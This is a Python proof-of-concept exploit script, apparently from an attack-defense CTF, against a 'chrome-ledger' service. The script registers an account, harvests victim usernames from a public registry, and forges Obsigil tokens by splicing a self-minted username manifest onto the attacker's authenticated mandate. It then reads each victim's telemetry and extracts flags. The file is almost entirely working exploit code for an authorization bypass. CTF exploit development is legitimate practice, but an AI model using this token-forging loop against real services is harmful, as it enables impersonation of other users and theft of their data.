- Resolve victim usernames from the public registry. - Accept bare Neo target addresses and retain manual username targeting.
122 lines
3.8 KiB
Python
122 lines
3.8 KiB
Python
#!/usr/bin/env python3
|
|
"""PoC for the pre-fix chrome-ledger telemetry authorization bug.
|
|
|
|
The vulnerable endpoint trusted the username in Obsigil's public manifest,
|
|
which is intentionally forgeable, instead of the authenticated subject. Use
|
|
only against an authorized M*CTF target in the contest VPN.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
import re
|
|
import secrets
|
|
import sys
|
|
import time
|
|
|
|
import requests
|
|
from obsigil import Obsigil, mandate, manifest
|
|
|
|
|
|
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
|
|
|
|
|
def normalize_base_url(target: str, default_port: int) -> str:
|
|
target = target.rstrip("/")
|
|
if "://" in target:
|
|
return target
|
|
return f"http://{target}:{default_port}"
|
|
|
|
|
|
def registry_usernames(body: dict, attacker: str) -> list[str]:
|
|
return sorted({
|
|
str(row["owner"])
|
|
for row in body.get("results", [])
|
|
if row.get("owner") and row["owner"] != attacker
|
|
})
|
|
|
|
|
|
def request_json(response: requests.Response):
|
|
try:
|
|
body = response.json()
|
|
except ValueError:
|
|
response.raise_for_status()
|
|
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
|
if not response.ok:
|
|
raise RuntimeError(f"HTTP {response.status_code}: {body}")
|
|
return body
|
|
|
|
|
|
def forge_username(token: str, username: str) -> str:
|
|
# The manifest key is public by design. Keep the attacker's authenticated
|
|
# mandate and replace only its advisory manifest half.
|
|
manifest_token = Obsigil.mint(
|
|
clauses={},
|
|
mandate_key=secrets.token_bytes(64),
|
|
exp=int(time.time()) + 3600,
|
|
aud=["chrome-ledger"],
|
|
sub="manifest-builder",
|
|
manifest={"iss": "chrome-ledger", "claims": {"username": username}},
|
|
).token()
|
|
forged_manifest = manifest(manifest_token)
|
|
attacker_mandate = mandate(token)
|
|
if not forged_manifest or not attacker_mandate:
|
|
raise RuntimeError("could not construct an Obsigil token")
|
|
return forged_manifest.rstrip(".") + attacker_mandate
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(description=__doc__)
|
|
parser.add_argument("base_url", help="target IP or service URL")
|
|
parser.add_argument("target_username", nargs="?", help="specific owner username")
|
|
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
|
|
args = parser.parse_args()
|
|
|
|
base = normalize_base_url(args.base_url, 8081)
|
|
session = requests.Session()
|
|
session.verify = not args.insecure
|
|
username = f"audit_{secrets.token_hex(5)}"
|
|
password = secrets.token_urlsafe(18)
|
|
auth = request_json(session.post(
|
|
f"{base}/register",
|
|
json={"username": username, "password": password},
|
|
timeout=10,
|
|
))
|
|
|
|
targets = [args.target_username] if args.target_username else registry_usernames(
|
|
request_json(session.get(f"{base}/home/api/registry", timeout=10)),
|
|
username,
|
|
)
|
|
if not targets:
|
|
raise RuntimeError("no target username found in registry")
|
|
|
|
flags: set[str] = set()
|
|
for target_username in targets:
|
|
token = forge_username(auth["access_token"], target_username)
|
|
response = session.get(
|
|
f"{base}/home/api/telemetry",
|
|
params={"username": target_username},
|
|
headers={"Authorization": f"Bearer {token}"},
|
|
timeout=10,
|
|
)
|
|
try:
|
|
body = response.json()
|
|
except ValueError:
|
|
body = response.text
|
|
print(json.dumps({"target": target_username, "status": response.status_code, "body": body}))
|
|
flags.update(FLAG_RE.findall(json.dumps(body)))
|
|
|
|
if flags:
|
|
print("flags:")
|
|
print("\n".join(sorted(flags)))
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
raise SystemExit(main())
|
|
except (requests.RequestException, KeyError, RuntimeError) as exc:
|
|
print(f"error: {exc}", file=sys.stderr)
|
|
raise SystemExit(1)
|